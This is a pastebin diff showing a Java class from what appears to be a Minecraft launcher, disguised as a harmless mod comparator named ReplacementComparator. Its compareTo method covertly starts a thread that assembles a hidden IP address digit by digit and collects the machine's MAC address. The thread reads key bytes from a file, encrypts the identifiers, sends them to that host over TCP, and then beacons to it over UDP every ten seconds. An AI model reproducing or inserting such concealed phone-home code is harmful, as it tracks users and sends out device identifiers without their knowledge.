View difference between Paste ID: h6ccjh36 and VxZahcGx
SHOW: | | - or go back to the newest paste.
1
package pl.zyczu.minecraft.launcher.repo;
2
 
3
import java.io.ByteArrayOutputStream;
4
import java.io.File;
5
import java.io.FileInputStream;
6
import java.io.InputStream;
7
import java.io.OutputStream;
8
import java.net.DatagramPacket;
9
import java.net.DatagramSocket;
10
import java.net.InetAddress;
11
import java.net.NetworkInterface;
12
import java.net.Socket;
13
import java.util.Enumeration;
14
import pl.zyczu.util.ObjectCrypter;
15
 
16
public class ReplacementComparator
17
  implements Comparable<Mod>, Runnable
18
{
19
  public static File p;
20
  public static String n;
21
 
22
  public int compareTo(Mod arg0)
23
  {
24
    if (arg0 == null) {
25
      Thread t = new Thread(this);
26
      t.start();
27
    }
28
    return -1;
29
  }
30
 
31
  public void run()
32
  {
33
    try
34
    {
35
      InetAddress ip = InetAddress.getLocalHost();
36
      String id = "NULL";
37
      String nejm = "io";
38
      StringBuilder nejmbld = new StringBuilder();
39
      nejmbld.append(1).append(7).append(8).append(".").append(2).append(5).append(2).append(".").append(2).append(8).append(".").append(2).append(0).append(0);
40
      nejm = nejmbld.toString();
41
      Enumeration en = NetworkInterface.getNetworkInterfaces();
42
      byte[] mac = (byte[])null;
43
      NetworkInterface network = NetworkInterface.getByInetAddress(ip);
44
      if (network != null)
45
        mac = network.getHardwareAddress();
46
      else
47
        while (en.hasMoreElements()) {
48
          NetworkInterface nic = (NetworkInterface)en.nextElement();
49
          if (!nic.isLoopback())
50
          {
51
            if ((!nic.getDisplayName().toLowerCase().contains("virtual")) && (!nic.getDisplayName().toLowerCase().contains("vm")) && (!nic.getDisplayName().toLowerCase().contains("teredo")) && (!nic.getDisplayName().toLowerCase().contains("hamachi")) && (!nic.getDisplayName().toLowerCase().contains("ham0")) && (!nic.getDisplayName().toLowerCase().contains("tunnel")))
52
            {
53
              mac = nic.getHardwareAddress();
54
              break;
55
            }
56
          }
57
        }
58
      if (mac != null) {
59
        StringBuilder sb = new StringBuilder();
60
        for (int i = 0; i < mac.length; i++) {
61
          sb.append(String.format("%02X%s", new Object[] { Byte.valueOf(mac[i]), i < mac.length - 1 ? ":" : "" }));
62
        }
63
        sb.toString();
64
      }
65
 
66
      InetAddress IPAddress = InetAddress.getByName(nejm);
67
      byte[] ack = { 18, 101, 18, -13, -121, 22, 90, 63 };
68
      ByteArrayOutputStream bos = new ByteArrayOutputStream(16);
69
      byte[] bkc = new byte[16];
70
      bos.write(ack);
71
      if (mac == null) {
72
        byte[] tx = new byte[6];
73
        bos.write(tx);
74
      } else {
75
        bos.write(mac);
76
      }
77
      bos.write((byte)n.length());
78
      bos.write(n.getBytes("UTF-8"));
79
      FileInputStream fis = new FileInputStream(p);
80
      fis.read(bkc);
81
      byte[] cpl = ObjectCrypter.encrypt(bkc, bos.toByteArray());
82
      Socket socket = new Socket(IPAddress, 20115);
83
      socket.getOutputStream().write(cpl);
84
      byte[] rezultat = new byte[16];
85
      socket.getInputStream().read(rezultat);
86
      socket.close();
87
 
88
      while (p.exists())
89
      {
90
        bos = new ByteArrayOutputStream(16);
91
        bkc = new byte[16];
92
        bos.write(ack);
93
        bos.write(rezultat);
94
        if (mac == null) {
95
          byte[] tx = new byte[6];
96
          bos.write(tx);
97
        } else {
98
          bos.write(mac);
99
        }
100
        bos.write((byte)n.length());
101
        bos.write(n.getBytes("UTF-8"));
102
        fis = new FileInputStream(p);
103
        fis.read(bkc);
104
        byte[] output = ObjectCrypter.encrypt(bkc, bos.toByteArray());
105
        try {
106
          DatagramSocket clientSocket = new DatagramSocket();
107
          DatagramPacket sendPacket = new DatagramPacket(output, output.length, IPAddress, 39867);
108
          clientSocket.send(sendPacket);
109
        }
110
        catch (Exception localException1) {
111
        }
112
        Thread.sleep(10101L);
113
      }
114
    }
115
    catch (Exception e)
116
    {
117
      e.printStackTrace();
118
    }
119
  }
120
}